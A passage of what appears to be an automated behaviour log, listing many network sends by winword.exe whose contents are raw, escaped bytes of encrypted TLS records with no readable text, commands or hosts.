  432. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf8\\x89m\\x8f\\xc3d\\xd5\\x1a\\xfan\\xe2\\xee\"\\xe25zy\\xc7 \\xf5\\xe9\\xccb\\xa7ml\\xe3\\xc5\\x10\\x95\r\\xeaq\\xb5k\\xa7\\xb3\\x9f\\xf1xg\\xca\\xd8\\xd7@\\xb1\\x93@\\xb3\t\\x9f\\xe2\\x05\\x80\\x11\\xc9m\t\\xd9\\x8b\\xff~\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcc9\\xac\\xc6j<\\xfb\\x1c\\x9b\\x0e\\xd4\\xc6\\x94'\\xe84d\\xa3u\\xe6\\x84\\xe5\\xb4\\x01\\x07\tj\\xb5\\xaea\\x97\\x1d2\\xff\\x8d\\x15\\xd3\\x01\\xd5\\x0e\\x0e~k\\xb7`l"
  433.  
  434.  
  435. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04y\\xd1\\x1a\\xa3\\x90\\xff\\xa4\\x01\\xb3\\xba\\xc6\\xccp\\xc2'?\\xd6\\xfb\\x15b\\x9d3\\x0e\\xbc\r\\x95#\\x96\\xbc\\xca\\x9dwn\\xd5hh\\x92\\x03\\x9f\\x04\\xe7t\\x97\\xa1ib\\x05\\xc4\\x82\\xa5s2\\x05\\xf4o\\xee\n\\xd5\\x17r\\xe3c&\\xd8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1d\\xef\\xd9\\x1a\\x1c%:\\\\xde\\x07\\xdaq\\xb7w6\\xbc\\xde@o7\\xff\\xbdi\\xb0\\x85\\xf7\\xa6ox\\xc0:\\xd8\\x7f\\x90\\x13\\xa0\\xd4\\x17\\x81\\xd9|\\xc7\\xf1u\\xa7\\x8e|\\xcc"
  436.  
  437.  
  438. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd9cu\\xe3w7\\x02\\xdc\\xff\\xb59\\x8e\\xf9\\x86^\\xe9\\x94<\\xbct\\xf2t\\xe8\\x95!\\xdb\\xe6k\\xdf\n\\xd6\\xb9\\xd4\\xf1t#a\\xe5\\xc2\\xd8\\xef\\x00l\\x8e\\xd9<l\\xd4$\\x19at\\xf3\\x01\\xebh\\xf2\\xff\\xa1\\xf8\\xf1m\\xaf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa7.\\x7fjlo\\xc3;o\\x16\\xa8\\x16\\x93^\\x86\\x9d\\xe8a\\xeb\\xc8\\xd9\\x1bp\\x12\\x8e5\\x87\\x19\\xf9p\\xddj<\\xed\\xc0\\xa6\\x17ik#\n\\xee\\xad\\xe6\\x04\\x01k"
  439.  
  440.  
  441. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf1z\\xf9<\\xd9\\xee\\xeb%\\xfa?/\\xf4\\x9ff\\x05\\xc6d\\xd1\\x05\\x16\\x05\\x85\\xe3\\x1fw\\xb5\\x1bl16\\xcfn\\xa0\\xc7\\x81\\x02\\x81\\xfd\\xb8#\\xe7f\\x16\\xb5\\x9cpp!.\\xebz\\xf7\\xa2\\xe7s\\x13\\xe6\\xff\\xa8*\\xde%\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0002v\\xadn\\xc1b(\\xc0\\x9d\\xf2\\xff&\\xdb4a\\xf0y\\xfb\\xc6\\x1f\\x0c\t\\xd8\\xc6\\x83\\xba\\y6\\x18\\xdeuo\\xadk\\xb5\\xa0\\\\\\xb5\\x06\\xc5o\\xce\\x97\\xd9"
  442.  
  443.  
  444. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x15\\xf2\\xeb\\xc6%m\\\\x06o\r6\\x90\\xf0otnpu/\\x02,\\xda\\xfc\\xce6\\xd9\\x86qxh\\x04m*\\x19;\\xd7\\xae\\xbdt\\xbc\\xdc\\xf4h\\xe0&jg\\xe4\\xa5\\x1c\n\\x12~\\xb7\\xc7b\\x1fx\\x94b\\xcf3\\x0e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000bne\\xffm\\x886\\x08\\x07\\xd6\\xf9u\\x96bd\\xc0\\x05\\xfa\\xdbb\\xff`\\xf0\\xac3\\xe4\\x1c5\\xd3\\xferq\\xa4\\x83\\xd3\\x06\\xf0\\x08f\\x99\\xd8#e@um!="
  445.  
  446.  
  447. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04y\\xe1\\x84\\xb7\\x8a\\xa20\\xbd\\xe0\\xdc\r\\xe2\\x03\\xb7\\xf3ii8\\xfb\\xbad\\xc5\\x0f!t\\xda\\xb4\\xa0\\xbf\\xfas\\xa9\\xda\\xdf\\xb5cg\\x85\\x82\\x9b\\x16e\\x02\\xda\\x1f-\\xa6\\xa1\\xa4\\xe8n\\x85=-\\xc94\\xb0\\xe85\\xed\\xd5;\\xc3\\xb0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa5\\x05x\\xf2\\x1f\\x08s\\xf9b\\x18\\x0b\\xd6v\\x00+\\xcc\\x0b-\\xa2@fly\\xf6f\\x10\\xfb\\x1f\\xe0\\xe7_f\\xee\\xe4p'\\xa6\\xdf(p\\x91\\xeb\\x1fc?\\x992"
  448.  
  449.  
  450. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1fx\\xab:t!0\\x0bl fc\\x9d8\\xca\\xf4\\xc0\\x1f\\x97n\\x1fp\\xb9\\xda\\xd2\\x1b)(\\x18f\\x0cn\\xd6m\\xd2#\\x9e(3\\xcf\\x10\\xbe\\xf7f\\xc3\\xee\\x95\\xc1\\xdc\\xdfvd\\x97\\x97qz\\xf0\\xe1\\xf0s`wzl\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcbh%\\x8c\\xd7q\\xa4e\\x1cq\\x1e\\xaf\\xa7\\x1ft\\xf4\\x91\\xe3>\\x19\\xf14=\\x11\\xcf\\x14\\x8c\\xee\\xda'\\xbd\\xd0\\xe2!\\xd1n\\x03\\xad\\x9f\\xa0\\xd1\\xd8\\xa7$\\xab\\x12\\xd8"
  451.  
  452.  
  453. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa3_\\xe5\\xe9r\\x89d\\xe6/e\\x84\\xb5\\x92\\xb9\\xc0\\x0b5\\x02n\\x11\\xa7\\xf7\\xa8\\xb3%\\xeaj\\xca\\xa4\\xf4\\xc5\\x0b\\xdd\\xbc\\xaa\\xb8/\\x97\\x97\\x15\\x92\\x90\\xe5h\\x1c\\xf9z\\xa4pg\\xb8\\x13\\x1f\\x10\\xc7p\\xb7`i\\xcd\\x19\\x19\\xb2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1btj\\xe5j7\\xc2\\xaa\\xdb\\xf0\\x04\\x8dt\\xfc\\xccw\\xd4sg1\\xff\\xa5\\xb4\\xcd\\xac\\xaf\\xf0\\xd0\\x9b\\x1d\\xe3\\xf8\\xb3c\\xf4p\\x8d-\\xcft\\xbe_y\\xba\\x80)"
  454.  
  455.  
  456. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1a\\xfej<h\\x81s\\x0c\\xaf\\x07\\x10!y\\x0b1\\xf1\\x172\\xff\\xb2\\x14\\xbe\\xd0\\xfc\\xa5\\xa8\\x18\\x05\\x89\\x049!y/\\x8d=\\x9f\\x90z\\xffx\\x0e\\xebqktl\\x9a\\xe1b\\xb8n\\xa6\\xc5rv\\xfds\\x15\\x9e\\xba\\x1a\ts\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000~\\xb0\\xa6\\xa8~\\xf5~\\x10 \\xfe\\x85\\xc9\\x86e\\xcd\\x8c\\xec\\xb3<\\xf1\\xad\\x07\\xc7 \\x7f\\xb2'\\x9f\\xc3\\xb5o\\x19jj\\x17~\\xa9<\\x0e\\xc2i\\xf0\\x830'\\xc7"
  457.  
  458.  
  459. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04p\\xc3\n\\xc9\\x01\\x0fc\\xb9&\\x8b\\xeda\\xdb7\\xa5hy\\xe2\\xea\\x8e\\x1c\\xf1\\xfb4\\xb3sa\\x0f\r\\xbd^\\xbcw\\x94a\\xce\\x18\\xf2\\x04\\xfe\\xc5\\xc8'\\xb4)41j\\x84\\xc9\\xa9\\xf4\\xac&\\x87\\x8b\\xf5\\xd9\\x9a\\xb1\\xaf\\x04\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x7f\\x004\\x88i\\x88\\xe5nq\\xd6\\xcd\\x03\\xd1\\xa9\\xe7\ti\\xfc\\xf4\\xa0\\x96\\xb9\\x80\\x0b\\xa4\\x12j\\xfa\\x11\\x19ipb\\xe0\\xcer3h\\xb9\\xed\\x16\\xd3f?\\xab<d\\xdd"
  460.  
  461.  
  462. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd3\\xcd\\x0b\\xec\\xc6\\x9b3b\\xcf\\x03n\\x1c\\x89\\x03\\xd2:\\x96\\x06\\xb6\\x94\\xc7p8\\xec\\x943\\xc3\\xe1\\xb0\\xfex'\\xb8q)\\xa1\\x03\\xfbse\\xfc\\xf2\\xb8|yx/\\x91\\xfa\\x86u\\x12\\x1ea=\\x82\\xad\\x04\\xdfpyk\\xb7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x0c7/\\xc8uy\\xec\\xea\\xf0\\x00\\xadz\\xea\\xf6?\\xe7\n\\xe9e\\x1a\\x8bt\\xfc\\xb2\\xd3d\\x07+\\xde)\\xc75\\x91\\xfb\\xcdl\\xdc\\x9e\\x0b\\xab\\xeb\\x89\\xd8\\xf3\\x99r\\xd9\\x94"
  463.  
  464.  
  465. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04#\\xdb\\xc4!\\xc1\\xfac:\\x0eg\\x1b\\xf4zk\\xf0\\xf6\\xbcr\\x87\\xa4+\\xfa\\x07\\xc4rx\\xfexx\\x9e\\xb2\\x97\\xedl\\xa3<\\xa0ry\\xb4:\\x94\\xc9\\x04\\xe7\\xee\\xf1j\\xf2\\xab6\\x03\\xae\\x05i%$w\\xa0p\"a\\xfa\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x85.\\xa27si\\\\xf2\\x07\\x9a\\xe0ckn\\x10\\xd2i\\xe2^\\x8f\\x9d\\xff^\\xcah;$\\xac\\xd7 u\\x85\\xeeg\\xf6\\x14\\x06\\x0bzv\\xf5\\x9f\\xd2jk\\"
  466.  
  467.  
  468. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0bt\\xdc\\xa6\\x10\\x87\\xed+\\xb3l\\xa6\\xa9\\x90\\xa1\\xc1(.y|\\x85c\\xd0\\xa4thh\\xd0\\x8d\\xb8\\x08\\x05\\xa3\\xec\\xfe\\xd0s\\xfcr\\x87\\xc6\\x9a\\x8d\\x0ei\\xd8\\xec\\xd1tp\\xfc'\\xc2\\xa6\\xe3\\xc2y\\xe8\\x8e)v\\x97*\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000.\\xb1i\\xe8m?%?\\xdb\\x17w\\xe0\\xd3^/\\xd0\\xf0\\xf92\\x1dxn\\xce\\xf7f\\xef\\x06ngf\\xccf\\xe1e\\xc3^u\\xd9a\\xec\\xfe\\xc2jq\\xe7yw\\x06"
  469.  
  470.  
  471. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0b6n\\x0f\\x80\\xef\\xe0'k\\xa7\\xad\\x99d\\x02\\x08j4kyj\\x17\\xf7\\xeb:\\x0b\\x83\\x9b;j|\\x92m\\x89\\xcby\\x04\\x1f\\xecs\\x8c\\x15\\xf0\\xb8r\\x19\\x173\\xc5\\x12v\\x17&m=\\xaa *fg\\xcb\\xda\\x01\\x97\\xc9\\x15\\xad\\xbf\\x7f=\\x05\\x98x\\xe4\\xd7#\\xe5\\xf7\\x01\\x0e\\xf8\\xcad\\x8f\\xec\\x97j'\\xe4\t\\x7f\\x06\\xcaps\\xb2v\\xbcr\\x05p\\xa3.@5r\\xec\\x87\\x95\\xc2\\xc6/\\x1c\\xd98\\x07\\xda\\x06\\x1c\\xe0\\xb9\\x90_\\x86\\xbc\\xferv\\xe2\\xb0'\\xd9y\\xa3\\xca\\xfc\\x00\\xba`\\x00\\x85\\x92\\x95\\x884\\xa7?\\xb5;\\x8f\\x853t\\xf0\\xc4\\xdc\\xe5\\xfea\\x02\\xb2o\\xf0tlqe\\xa9i~m/\\xac\\xdb\\xa1\\x88\\x10\\xe5\\x8c\\xf6e\ns\\xcc\\xe2x\\x1b(\\xc6\\xc23\\xc8\\xe5vgms\\xe8mw\\x8bap\\xcc.8)\\xc0j\"\\x88b%\\x94\\xfc7^\\xd0\\xa9\\x03.d\\x88\\xd6_)mpu\\x8az/\\x80p\\x03\\x8e|\\x84\\x9d\\xb1e\\xdc\\xaa\\x94<`u\\x9b"
  472.  
  473.  
  474. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010o\\xc8\\xa8\\x04i\\xa3r\\x9f\\xb4)t\\xa4\\x8cvc\\x80sj=\\xd9\\x9b\\x02\\x02=\\x927\\xa8\\x16\\xd3\\x8a\\x0e\\xc2\\x04\\xf0\\xa4\\xae\\xf0\\xe0\\x00\\x17b\\xf0\\x19\\x8c\\xeb\\xc5\\xb8\\xa3\\x8e\\x02\\x9d\\xc0\\xa3\\xeb\\x11|3)\\xdf0;\\xe9\\xd5?\\x01q\\xd7\\xde\\xb7\\xeb\\x97c\\xdb\\xcam\\x8a\\xec\\x7f#\\xbf\\\\x05i\\x1d\\x8d\\x9c\\x1fo\\x95u\\x93\\x81\\xca\\xe5\\xd0\\xa9x\\xdc\\xc1\\x01\\xcfe\\xb1\\xdbm\\x8b\\x9c9\\x01\\xfc6\\xfb\\xb2\\x9f\\x8d.l\\x82\\xb0\\x8a\\xa57\\x1c\\xee\\x0fvm\\xf6\\x99,\\x9c\\x06\\xcf\\xb2m\\xd8y\\xd3k!\n\\x04\\x8a\\x7f\\xc6~9\\xea8*j\\xafh\\x92\\xdd \\x8e\\x9dq\\xdd\\x8f\\xa4\\x89\\xb9\\xa6j\\xea\\x13\\xb8n\\x0c\\xeesou\\xa0\\x98\\x82c\\x89\nw?\\xfar\\xcc\\xd6\\xf2\\xeb\\x97\\x7f\\xdc\\xa8!u\\xbe\\xe8\\x1d\\xc8\\xbe\\x1f\\xd2\\xd9?\\xbf\\xc8\\xff\\x94\\x01y\n\\x90|\\x1d\\xb51|\\xf5\\xff\\x0e\\x14\\xe2\\xbe\\xff\\xa0\\xe8vb,\\xff\tg\\x11\\x03\\xfe\\x05\\x18\\xaf\\xcb4\\xc7\\x86\\xcb\\xfae\\xb0\\xf4\\x92\\x94\\x9b"
  475.  
  476.  
  477. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04dup\\xd2/p\\xb6\\x9e:\\xfa\\xad1\nh'\\xe6\\xc7=\\xf7\\xd7\t\\xc9nog\\x1e\\x85\\xe0\\xc4s\\xcc\\xc5\\xf1\\xbc#\\x94\\x02\\xa3h\\xe8\\xeb\\xd6\\x82f:&\\xe8woq\\x8a\\xc1<a\\x00.\\xf2\\x7f\\xc1\\xban\\xe8\\x16\\x17\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000et\\xa3\\xbb\\xf5e\\xa1\\x16\\x992\\x94\\xf2v\\xf0\"\\xe6\\xe7\\x8b)\\xab\\x1f\\xb0r\\xabp\\x84o\\x8d\\xf1\\x06\\x07d\rlv\\x978\\xe0\\xaf\\x04\\xfds\\xfa7\\xbf\\xed\\xeb4"
  478.  
  479.  
  480. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc9#\\x07<\\xb4\\x16a\\xd3g\\xd26q>\\xb0k\\xed\\xc3\\xe6\\xdb\\xf5\\xf7\\x02\\xc1\\xb0\\x81\\xa5/\\xfcu\\x7fq\\x93d\\xa2w2\\xe5<\\xdat9\\xba\\xa4\\xdd\\xd9\\xca\\xf1u\\x96\\xe5\\x85\\xe6*\\x16\\xd1\\xf2\\xbd\\xbc\\xe9\\xdb\\x9f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0004\\xd7\\x9b\\x84\\xca\\x7f\\xd3\\x116\\x08'\\x97\\x8c\\xb1\\xf9\\x9b\\xb6\\xf6\\x87\\x89j0\\xa5h\\xd9\\xae(\\x18knq\\x01x\\xf7\\x1f\\x83`\\xc4t\\x83y\\xee4b\\x1a\\x18v"
  481.  
  482.  
  483. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf1\\x90\\x9e+\\xd1\\x8c\\x03b~\\xd8k\\x19\\x8c\\x0ckhks\\x0e\\xc2ozaw\\x83-\\xf0\\x15\\x12\\xfe\\xfbd\\x18\\x13\\xaa\\x02\\xe3\\xe5\\xd3\\x0f\\xd8%\\x9f\\xa5ak\\xe6\\x9c.\\xd2\\xf4yl\\xa7\\xaf;\\x9f\\x81d\\xbcx\\x14p0\\xde\\x13\\x818^\\x11\\x06.i\\xd2\\x99\\x98p\\x03\\xe76\\xc5k\\xbb^_\\xd5b\\xbd\\xa3d\\xd6x\\xbf!\\xf8)\\xe0\\x99!\\xb8x\\xe5vc\\x1dp\\x1c\\xe3g2`\\x17u+c\\xbd\\xd7jo\\x08\\xef1\\xbd\\x96\\x9alu\"\\x1b\\x98\\x10ju\\x07\\xeb,0\\xd05\\xffjo\\xb6\\xb3d\\x10\\x14z\\xbfc\\xde\\x85\\xce\\xc7e,p\\x97$\\xeamy\\xcc\\x1de\\x939\\xc0q:\\xd2nhq\\xf9#\\xa0\\xb5\\xe1\\xfc\\xd7'\\xc7\\xe2t\\xab\\xd3\\xde@\\xf9i\\x1c*x\\xe5f\\x06\\x05\\xd0\\xb1\\x9d\\xf3c\\x02\\xfc\\xe2&'\\xcf\\x8b\\x83\\xcb\\xa6\\x84)\\x1e,\\x9d\\x19\\x98\\x80\\xbd\\xd5\\x1e\\xaa\\x9a`\\x08\\x95\\xd9\\x15e5/\\x1a\\xa3@\\x9caa\\xba\\x91\\x82d\\x92"
  484.  
  485.  
  486. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd6xx\\xcd\\x05\\xebst\\xef\\xf9\\x1b\\xa2\\x81\\x9fl\\xe2r\\xd4m\\xdcb\\xf4\\xd2\\xe9*\\x01iz/\\x18\\xbe!\\xcf\\x9a6b\\xee\\xeds\\xde9lw'\\xc2\\xc90\\x0ep\\x8d\\xc2m\\x96\\x1e\\xad\\xder\\xc3\\xa8\\x7fi\\xf2u\\x03(\\xfbw\\xf5x\\x8bk\tb\\xf2w\\xa9h\\xf4\\xdan@\\xc5\\xd4\\xccbla\\xecl43\\xc5\\x9djo\\xcb\\xfb_\\xe6\\xb2\\xb21\\x88,x\\x91\\xd8\\x03\\xd9~sr\\x01\\xcf\\xf9\\x9b\\x8c\\x9d\\xaa\\x15txaod\\xee\\x9d\\x9f\\x7fe\\x12=\\xf6(\\xe8oy~m-\\xe7~\\x1d(.\\x02 \\x1d2n\\xf5e\\xac\\xf4/\\xc3mo\\xb6hz\\xdd\\xe5\\xa3\\x8c\\xaa\\x9e6\\xd5d\\xb7\\xef\\x15\\x18\\x14q\\xd5mv@\\xc6ml^&g\\xa9i0\\xad \\xefl\\x893s\\x01\\x9f\\xc0nto\\xect\\xa4\\xecvp\\xf64\\xdd3\t\\x81\\xc7\\x13\\xe0\\x17g\\x8a;\\x1dtb\\x04\\xcd\\xe0\\xcd\\xb3ll#\\x1dyre\\x92\\xe3\\xe8\\xdd/\\xe8\\x05\\x0b\\x93\\x8d"
  487.  
  488.  
  489. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xba\\xff\\xf9kp\\x88r\\xac\\x11\\x8d\\xdb\\x18+g/5\\xfe9\\x15+\\xc4\\x81\\xfd\\xcem\\x18\\xac\\xdb>\\xff\\x8d\\x80r\\x91?\\xcdl\\xe0\\xe5qs6\\xe1\\x07\\x18\\x1d\\x9c\\xa4\\x1bu\\xc9n\\xa3\\xb2>\\xe5\\x1a'\\xf4\\xcc\\xfe\\xc3\\x91c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x82\\x89~8\\xcdf\\x0ca\\xa8\\xc6\\x1c\\xfd\\x047\\x1e\\xcdu\\xfb\\x8b\\xc2\\xfefg:\\x15\\x87\\xf29*w\\xf4\\xfdfp:5)\t\\x81\\xedw7\\xfbl\\xf3\\xdc\\x1a\\xe6"
  490.  
  491.  
  492. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9c8;\\xae\\xe1\\x1bsz\\xf8\\xa1m\\x9c\\xffp\\xbb\\x07\\xa8\\xb0\\xac\\x14ek^\\xb21\\xdalo\\xe9\\x0b\\x81\\x08\\x08\\x9e'\\x99i\\xf5\\xe2\rj=\\x94\\xe0\\xb6\\xcfb\\x9f\\x82c\\xcd\\x93-\\xa8\\xa0\\xc9\\x8e\\xc4\\xddm\\xf8\\xb7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000c\t6\\xaezj\\x19<\\xe1\\xf7\\xf8\\x0c3h\\xa5#8\\xb4\\xc7>\\x1a0\\x9e~/\\x0c\\xe5,3c=\\xe6\\x11\\xc8\\xc2\\xe5q(a\\x14\\xba\\xbce\\x9d:\\xcf\\x11\\x9f"
  493.  
  494.  
  495. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb9\\xe9/\\x9fe\\x88\\x85\\x93\\x19\\xea|\\xca\\xeb\\x99ov\\x00o\\xdd^:\\xe6&\\x10\\x10)9\\xba%7\\x13\\x1c`\\x84\\xccl\\x18u\\xc4\\xf1>\\xc2\\xd5h\\x1br\\x19\\xcf\\xa9q\\xa1f#\\xfc\\xd0\\xb5z\\x0b\\xfc\\xe5y\\x03\\x9f\\x89\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x81\\x97\\xd8\\xd0\\x18\\xca2\\x1ely\\x92kn\\x10\\xb6\\xe7\\xea\\xbf\\x8a\\xf9'\\xf9d\\xe1 `\\xce\\xd3\\xc3\\xe7\\x887\\xeb\\spu\\x1d-\\xc4\\xda\\xeb\\x1er\\x01\\xd36"
  496.  
  497.  
  498. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04u\\xb8\\xda\\xc1\\x15\\x06a~\\xd0\\x14c`o\\xb2z\\x0e~\\xc1\\x8d\\xc3\\xb2\\xba'~y\\xdf\\xd2\\x14\\x9a\\xa4c\\xaf(?\\x1b\\xbd\\xfb\\x11\\x91\\xf7\\x1aj$\\xf5'6\\x9f\\xd5~\\x8b\\x99\\xc6s\\xb8\\xb8\\xd7,\\xf6\\xeb\\xdc\\xde\\xe8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000a\\x82 \\xba\\x0e;w*\\xf8\\xc2\\x85\\x9ch\\xac\\x1e\\xab4b\\xff\\xebqh\\x9a\\xf9\\x1d\\xb2\\xcfn\\x0ew_\\x825w\n\\x153\\x0f\\xce\\x001\\x16\\xddo\\xa4\\xc6l&"
  499.  
  500.  
  501. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x99\\xec\\xfa\\xa8\\xfd\\xbc\\xfb\\xd8\\xe0\\xcc\\xe047\\xf2\\xd1$j\\xfe\\xaf)\\xceq\\xb9;@\\xd1\\x99\\x05g\\xd5\\xf4\\xe2\\xaa\\xbd\\xee\\x1f\\x0bh\\xecn\\xba\\xf1fr\\xfd\\x08\\x8c`\\xec\\xeb\\xfe$\\x80\\xb4\\x1a\\x07:q\\xfa\\x9d\\x7f\\xb5y\\xda\n\\xd5\\x86\\xb1r\\x03\\xa04\\x0cy\\x9b\\xbb\\x0bw\\xb2\\xfd@\\xd68n\\xa8\\xf7a`\\xf8\\xa6\\xb7\\xfb\\x0f\\xbe\\x17se\\xa8\\xc8\\xda8\\xacxc\\x04\\x93ym6'~\\xbffc6\\xa2\\x02n\\xf7\\x86\\xf3@\\xc2y\\xa4\\x163\\x98\\xc8\\xf6u\\x80\\xa4\"l\\x94ofwh7\\xc1\\xc7\\xcf\\xd30\\x99\\xfe\\xba)\\x9b\\x9a\\xb89@\\xaaq\\xc3\\xb5\\x7f\\xa5\\xed\\xd6\\x04\\x8c\\xd7)d\\x1d\\xa2\\xbcv\\xd0\\xfc\\xcc\\xe0\\xc2\\xf2\\x1d\\xf3\\x8d@\\x0f\\xb9\\x97\\xf2(|\\x1c\\x1dpa\\x01\\xc1j\\x17\\xb5\\xe4\\x9b\\\\x9d8\\xd96\\x85\\xbb\\xfd\\x9b\\xb1!\\xd9\\xb0\\xba\\x80#\\xac\\xa7\\xbe\\x04\\xe8\\xa5\\xa3\\x18^\\x9dnv\\xbd\\xaas(xg`\\xbf|\\xeb\\xf3\\xb3\\x19\\xb7@rfrr\\x16"
  502.  
  503.  
  504. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010gc\\x90~\\x0e\\xf1qy\\xba\\xce#\\x1e\\x9c\\xf8\\xa0\\xa1\\xbfn\\xfb\\xd6w\\xba\\x98\\x17\\xf93z\\x82vt\\x04\\xdf\\x0f\\x1coa$\r\\xbd\\xcf\\xc6\\x07\\x17\\xd4\\xb8q\\x18l\\x05\\x0f\\x91\\x84~\\xa5\\xcb&\\x17\\xb2<e\\xd1\\xa5\\x12\\xc8>\\xc8\\xf0\\x86\\xaf\\xb0\\xe2\\xd2\\xe2\\xe1f\\x9c\\x1bl\\xc8\\xde\\x81\\x19tq\\xf8\\x10pc\\x13\\xa1a=<\\xcd\\x0c5/\\xf3\\xaa\\xd9e&\\xd3\\x96\\xc5\\x85r\\xa5\\xfc\\x0b\\xee\\xef\\x06/\\x16\\x11\\xf7\\xdf\\x0f\\x89zf\\xe2\\xa1\\xf8\\x0e\\xb4\\x8ei\\x02\\x12=\\xe6b\\xe4!\\x88\\xdd\\xf8\\xe1%\\xfe\\xec\\xe4\\x88\\xeb\\\\xc5\\x94\\x9e\\xe3\\xbd\\xd7\\x98\\xf7\\x18c\\x9b\\x01\\x17\\x91\\xd5kp\\x8at\\xd0\\xe1\\x13\\x0fn\\xado\\xe3\\xd9\\xaex\\x8c\n\\xaeze\\x8fga@\\xb6\\xe8\\xa8\\x11\tg\\x8ft\\xcc\\x9d\\xcc\\x18\\x13\\xd4\\xd9\\x08\\xf4\\x8a\\x04\\x0c\\xfc*v\\xbd\\xa8z~w\\x94\\xbe\\xd8\\xfbud\\xa4ldl\\xf7\\x8b\\xdea\\x91\\xd3\\x1d3\\xdf\\xa6\t3\\xb6\\xdc\\x9d\\xdbad\\xb9)\\x83"
  505.  
  506.  
  507. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf5n\\xd0\"\\xea\\xf4\\xff\\xd4h\\xe5wk\\x9eq\\xc3y\\x1f\\x92\\xea\\xfb(\\xd2%\\xe8s\\x86\\xb1t_\\xe1\\xf6\\x88\\xeb\\x88y\\xd6\\xad\\xcf-j+\\xb1@\\x9f0\\x91\\xcd\\xb0\\x98\\xa3\\x91=\\xc5\\xb5\\xde\\xa2\\x88n\\xc2u\\x8a\\xa2\\xdc\\x1d\\xd17\\xad\\x8e\\xb2-\\xde\\x04zk\\\\xe8\\xc6\\xeaq\\x02p\\xd2\r\\xa6\\x8e\\xe8\\xe54zx\\xf0\\xa3\\xd0\\xb1\\x9aef\r\\xfa\\xcc/s\\a\\xa338\\xe2^x\\x7f\\x02\\x8b\\xa5v\\xd0\\x8a\\xf9(\\xae\\x82\\xc0g\\x9e\\x97\\xde\\xf7j\\x8f\\xfe\\x05\\xbe\\xb4\\xf2y\\xd6\\xc3\\x83\\xb4\\\\x8e\\xe5\\xe2\\xd6\\xdd\\x15\\xaf\\xab\\xde\\xbc\\x1f\\xb2\\x9a\\x10\\xed\\xf2\\xcb\\xd9>\\xa3\\x8c\\xe5\\xe2\"!\\xa5\\xc9g0u\\xad\\x1b5\\xc2\\xac\\xe9i\\xbb\\x18l\\xc6\\xdc|p\\x1e4\\xa3\\xd0\\xdd\\x9a\\x1f\\xc6\\xd9\\x17\\x9a\\xe8\\xcca\\xc5m\\x9d\\xb5\\xfb\\xa8\\xd3\\x92\\xad\\x0e\\xa9\\x95\\x17@2\\x95\\xd4\\x87z\\xb0\\xe3y\\xdb\\x88\\xb5\\xc2\\xb0\\xbb-\\xbb\\xfe\\x9db\\xa3\\xc5\\xc7\\xd5\\x03\\xaa\\x8f\\x95\\xa0\\xd4\\x08u8j\\xba\\x03\\x0bs"
  508.  
  509.  
